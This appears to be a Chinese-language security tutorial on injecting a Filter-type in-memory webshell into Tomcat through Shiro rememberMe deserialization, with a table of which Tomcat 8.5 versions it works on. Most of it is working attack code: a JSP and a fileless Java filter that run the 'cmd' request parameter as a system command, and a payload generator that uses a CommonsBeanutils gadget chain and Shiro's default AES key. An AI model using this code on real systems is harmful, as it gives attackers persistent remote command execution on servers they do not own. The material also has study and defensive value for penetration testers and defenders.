shiro注入filter内存马及tomcat版本对获取context影响的分析
字数 1603 2025-08-19 12:42:30
Shiro注入Filter内存马及Tomcat版本对获取Context影响的分析
前言
本文详细分析了在Shiro框架中注入Filter型内存马的技术实现,以及Tomcat版本差异对获取StandardContext的影响。通过实际案例演示了内存马的注入过程,并深入探讨了在不同Tomcat版本中遇到的问题及解决方案。
环境配置及准备
- Tomcat版本:
- 正确版本:Tomcat 8.5.50
- 问题版本:Tomcat 8.5.79
- Shiro环境:使用p神的Java安全配套环境(ShiroDemo)
- 依赖:CommonsBeanutils组件(用于构造CB链)
Filter内存马技术原理
内存马基本结构
Filter内存马由三部分组成:
- FilterDefs:存放FilterDef的数组,存储过滤器名、过滤器实例和作用URL等基本信息
- FilterConfigs:存放filterConfig的数组,主要存放FilterDef和Filter对象等信息
- FilterMaps:存放FilterMap的数组,主要存放FilterName和对应的URLPattern
JSP型Filter内存马示例
<%!
public class EvilFilter implements Filter {
public void init(FilterConfig filterConfig){}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy(){}
}
%>
<%
// 获取StandardContext
Field field = request.getClass().getDeclaredField("request");
field.setAccessible(true);
Request request1 = (Request) field.get(request);
StandardContext context = (StandardContext) request1.getContext();
// 创建FilterDef
Filter filter = new EvilFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("EvilFilter");
filterDef.setFilterClass(filter.getClass().getName());
context.addFilterDef(filterDef);
// 创建FilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context, filterDef);
Field field1 = StandardContext.class.getDeclaredField("filterConfigs");
field1.setAccessible(true);
Map filterConfigs = (Map)field1.get(context);
filterConfigs.put("EvilFilter", filterConfig);
// 创建FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("EvilFilter");
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
context.addFilterMap(filterMap);
%>
无文件落地内存马实现
获取StandardContext的替代方案
在无文件落地场景下,无法直接获取request对象,需要通过线程ContextClassLoader获取:
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext context = (StandardContext) webappClassLoaderBase.getResources().getContext();
完整内存马实现
public class BehinderFilter extends AbstractTranslet implements Filter{
static {
try {
// 获取StandardContext
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext context = (StandardContext) webappClassLoaderBase.getResources().getContext();
// 创建FilterDef
Filter filter = new BehinderFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("EvilFilter");
filterDef.setFilterClass(filter.getClass().getName());
context.addFilterDef(filterDef);
// 创建FilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context, filterDef);
Field field1 = StandardContext.class.getDeclaredField("filterConfigs");
field1.setAccessible(true);
Map filterConfigs = (Map)field1.get(context);
filterConfigs.put("EvilFilter", filterConfig);
// 创建FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("EvilFilter");
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
context.addFilterMap(filterMap);
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
filterChain.doFilter(servletRequest, servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {}
}
Shiro反序列化注入
Payload生成代码
public class Exp {
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(BehinderFilter.class.getName());
byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
注入方式
通过Shiro的rememberMe Cookie字段发送加密后的payload。
Tomcat版本问题分析
问题现象
在Tomcat 8.5.79版本中注入失败,报错"unable to deserialize argument byte array"。
根本原因
不同Tomcat版本中WebappClassLoaderBase#getResources()方法的实现不同:
-
Tomcat 8.5.79及以后版本:
getResources()方法被标记为@Deprecated- 方法内部直接返回
null - 导致获取StandardContext时出现空指针异常
-
Tomcat 8.5.50及之前版本:
getResources()方法返回有效的Resources对象- 可以正常获取StandardContext
版本兼容性测试结果
测试了多个Tomcat 8版本的兼容性:
| 版本号 | 是否可用 |
|---|---|
| 8.5.37 | 可用 |
| 8.5.60 | 可用 |
| 8.5.70 | 可用 |
| 8.5.77 | 可用 |
| 8.5.78 | 不可用 |
| 8.5.79 | 不可用 |
| 8.5.81 | 不可用 |
结论:Tomcat 8.5.78及以后版本无法使用WebappClassLoaderBase#getResources()方法获取StandardContext。
解决方案
- 使用兼容的Tomcat版本:选择Tomcat 8.5.77或更早版本
- 替代获取StandardContext的方法:
- 通过
Thread.currentThread().getContextClassLoader()获取ClassLoader后,尝试其他方式获取Context - 探索Tomcat内部其他获取Context的途径
- 通过
- 修改内存马注入逻辑:适应新版Tomcat的API变化
后记
在实际渗透测试中,需要注意目标系统的Tomcat版本,选择合适的内存马注入方式。同时,开发人员应关注安全更新,及时修补相关漏洞。